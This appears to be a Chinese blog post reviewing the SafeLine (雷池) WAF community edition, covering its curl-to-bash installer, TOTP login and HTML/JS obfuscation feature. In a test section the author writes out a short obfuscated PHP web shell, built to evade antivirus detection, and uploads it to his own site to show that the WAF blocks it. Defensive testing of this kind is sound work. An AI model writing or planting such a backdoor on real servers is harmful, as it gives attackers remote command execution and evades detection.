雷池WAF《动态防护》功能体验

一、雷池简介(官方)

自 2016 年起,长亭就开源了雷池的语义分析算法自动机引擎,随后又陆续开源了雷池相关风控插件和引擎通信协议。雷池的商业版本自发布以来,得到了各大咨询机构和众多顶级企业的认可。然而,尽管雷池取得了显著的市场成功,但实际使用的头部企业数量仍然有限。只有少数群体真正体验过雷池的产品,这使得我们感到遗憾,因为智能语义分析算法并未能广泛普及。

为了让更多用户零成本地体验到语义分析算法的强大功能,2023年四月份,雷池在 GitHub 上发布了雷池的社区免费版本。希望通过这一举措,让更广大的开发者和企业能够受益于雷池的技术优势,共同推动智能语义分析算法的发展与应用。

二、在线安装雷池

1、安装命令

执行以下命令脚本会自动检测docker环境并完成安装

复制以下命令执行,即可完成安装

bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/setup.sh)"

如果需要使用华为云加速,可使用

CDN=1 bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/setup.sh)"

如果需要安装最新版本流式检测模式,可使用

STREAM=1 bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/setup.sh)"

2、登录流程

1.浏览器打开后台管理页面 https://<waf-ip>:9443

2.输入初始的admin密码

完成安装后在shell会自动输出密码。

Alt text

若忘记查看,需手动执行重置命令获得初始密码

docker exec safeline-mgt resetadmin

Alt text

3.根据界面提示,使用 支持 TOTP 的认证软件或者小程序 扫描二维码,然后输入动态口令登录:

totp认证程序大家可以使用微软的Authenticator程序,支持同步

 如果你不喜欢totp认证的话,在登陆后可以关闭。

TOTP 是什么?

TOTP是一种两步验证方法,通常用于提高账号的安全性。与静态密码不同,TOTP生成的密码是动态的,并且每隔一段时间(通常是30秒)会自动更新。这样,即使攻击者获得了临时密码,也无法在有效时间外使用。

TOTP 的工作原理
  1. 共享密钥(Secret Key):在设置TOTP时,用户和服务提供商之间会共享一个秘密密钥。这通常是一个随机生成的字符串,通过QR码或手动输入来完成共享。

  2. 时间同步:TOTP基于时间戳生成密码,因此用户设备和服务提供商的服务器需要时间同步。一般情况下,时间同步误差在几秒钟内不会影响验证。

  3. 生成动态密码:TOTP算法结合共享密钥和当前时间戳,通过哈希函数生成一个唯一的动态密码。这个密码通常是6到8位数字。

  4. 验证过程

    • 用户在登录时输入用户名和密码后,还需要输入TOTP生成的动态密码。
    • 服务提供商使用同样的共享密钥和时间戳生成一个动态密码,并与用户输入的密码进行比对。
    • 如果两个密码匹配,用户即可通过验证。
使用 TOTP 的应用

TOTP广泛应用于各类需要高安全性的场景,例如:

  • 银行和金融服务:保护用户的网上银行账户。
  • 企业系统:保障员工远程登录企业内网的安全。
  • 社交媒体和电子邮件:防止账号被黑客入侵。
  • 云服务和开发者平台:如GitHub、AWS等提供的双因素认证选项。
TOTP 的优势
  • 高安全性:动态密码每隔一段时间更新一次,极大降低了密码被盗用的风险。
  • 易于使用:只需在移动设备上安装一个TOTP生成器应用,如Google Authenticator或Authy。
  • 离线工作:TOTP生成不需要网络连接,只需设备时间准确。
如何使用 TOTP
  1. 安装TOTP应用:在智能手机上安装TOTP生成器应用,如Google Authenticator、Authy或微软认证器。
  2. 设置TOTP:在需要双因素认证的服务中启用TOTP选项,扫描QR码或输入共享密钥。
  3. 登录时使用:每次登录时,在输入完静态密码后,打开TOTP应用生成动态密码,并输入到相应的验证框中。

通过这种方式,TOTP大大增强了账户的安全性,让用户能够更放心地进行在线操作。

 三、体验动态防护

1、动态防护介绍

这是雷池在6.0的版本中新加入的功能。 

长亭官方是这样介绍的:

动态防护功能是长亭雷池WAF的一次重要更新,旨在提供更加灵活和高效的安全防护。该功能通过实时监测和动态调整防护策略,实现对Web应用的全方位保护。

动态防护功能的主要特点包括:

实时监测:动态防护功能能够实时监测网站中的HTML和JavaScript代码,并根据需要进行动态加密和混淆,从而有效阻止爬虫和攻击自动化利用程序。

动态加密和混淆:即使是静态页面,也会具有动态的随机性。这种技术可以将网页赋予动态特性,使得每次访问时,代码都会以不同的随机形态出现,从而增加了攻击者的难度。

保护前端代码的隐私性:通过动态加密保护,前端代码的隐私性得到增强,进一步提升了网站的安全性。

主动防御:动态防护不仅可以防护传统攻击行为,还可以有效防御传统手段无法应对的新兴威胁。

多维度立体化的综合防御系统:结合AI智能威胁检测技术,构建起多维度立体化的综合防御系统,高效应对各种安全威胁。

易于管理和部署:用户可以通过简单的操作开启和管理动态防护功能,确保网站的安全性。

[6.0.0] - 2024-05-31

  • 站点高级防护新增动态防护(BETA),能自动动态加密网站的 html 和 js 源码,阻止爬虫和攻击自动化程序的分析(对应新增 safeline-chaos 容器)

 

        2、添加防护网站

1、首先我们登录进入后,选择防护站点

2、点击添加站点

填入网站需要监听的域名端口,在上游服务器填入网站服务器内网地址。

3、配置动态防护的资源

        1)从站点防护进入动态防护配置页,点击黄色禁用改为启用

 

2)添加防护资源、点击右下角添加需要保护的资源

 

3)防护前后对比

防护前:

防护后:

 

3、动态防护评价 

        从上面的对比中我们可以看到,在选中需要防护的资源后,页面会提示已经被waf保护了,这个时候我们可以看到,原来页面上的原始代码,已经变成了被混淆后的代码,安全性大大提高了。

        长亭雷池WAF的动态防护功能在实际应用中具有显著的正面影响,不仅提升了企业的网络安全防护能力,还通过其灵活性、高性能和低延迟等特点,为企业带来了便捷和高效的网络安全解决方案。 

四、攻击测试(我自己的网站,小朋友不要学啊)

1、构建攻击代码

我们构建一个变量传递多次的后门代码,这个代码正常情况下是不会报毒的,将他通过web上传到服务器,看看能不能被雷池检测到

<?php $username = $_POST['username']; $password = $_POST['password']; $shell = "username"; $variable = $password; @$$shell($variable); ?>

2、上传测试

可以很明显看到,我们的上传文件操作出错了,打开请求一看,哦,是雷池。

 

3、后台检查

这里可以看到,系统提示我的网站正在遭受攻击,防护效果还是不错的。清楚的标明了攻击者的ip,被攻击的日志记录,还可以进行ai分析。

 

 

 

五、长亭大模型对攻击新型ai分析

非常的牛逼啊,建议大家试一试

 

七、相关地址 

官网:雷池 WAF 社区版 | 下一代 Web 应用防火墙 | 免费使用 (chaitin.cn) 

### 雷池 WAF 使用说明、配置教程与功能介绍 #### 1. 雷池 WAF 的基本概念 雷池 WAFWeb Application Firewall)是一种用于保护 Web 应用程序的安全解决方案,能够通过实时流量分析和精确规则拦截来防御多种网络攻击[^2]。它采用了智能语义分析算法,具备高精度检测能力,可有效减少误报率并防止攻击者绕过防护机制[^3]。 #### 2. 主要特点 - **智能化检测**:利用业内领先的智能语义分析技术,针对未知特征的零日漏洞(0day)攻击提供可靠的防护方案。 - **高性能架构**:基于 Nginx 反向代理设计,具有较低的性能开销,几乎不会对现有业务造成干扰。 - **易用性**:支持 Docker 安装方式,仅需一条命令即可完成部署过程;同时配备直观的 Web 管理界面,方便用户监控运行状况以及审查攻击记录。 - **社区互动**:活跃的技术支持团队会定期解答疑问,并鼓励用户参与改进计划,例如通过 GitHub 提交反馈意见或报告错误。 #### 3. 安装与初始设置流程 为了成功启动并操作该设备,在正式实施之前需要做好充分准备工作: ##### (1)环境搭建 确认目标主机满足最低硬件需求,并确保操作系统版本兼容性良好。此外还需提前注册好阿里云账户以便后续集成CDN服务[^4]。 ##### (2)执行安装指令 按照官方文档指引输入特定Shell脚本来触发自动化部署动作。例如: ```bash curl https://install_url | bash ``` ##### (3)调整参数选项 登录后台管理系统后可根据实际场景自定义各类策略模板,比如黑白名单设定、URL过滤条件等等[^5]。 #### 4. 结合阿里云 CDN 实现更优效果 当把雷池 WAF 同阿里云的内容分发网络(CDN)结合起来运用时,则能够在保障数据传输效率的同时增强整体安全性水平。具体做法包括但不限于更改DNS指向至WAF前端地址,再由后者转发请求给源站资源位置[^1]。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值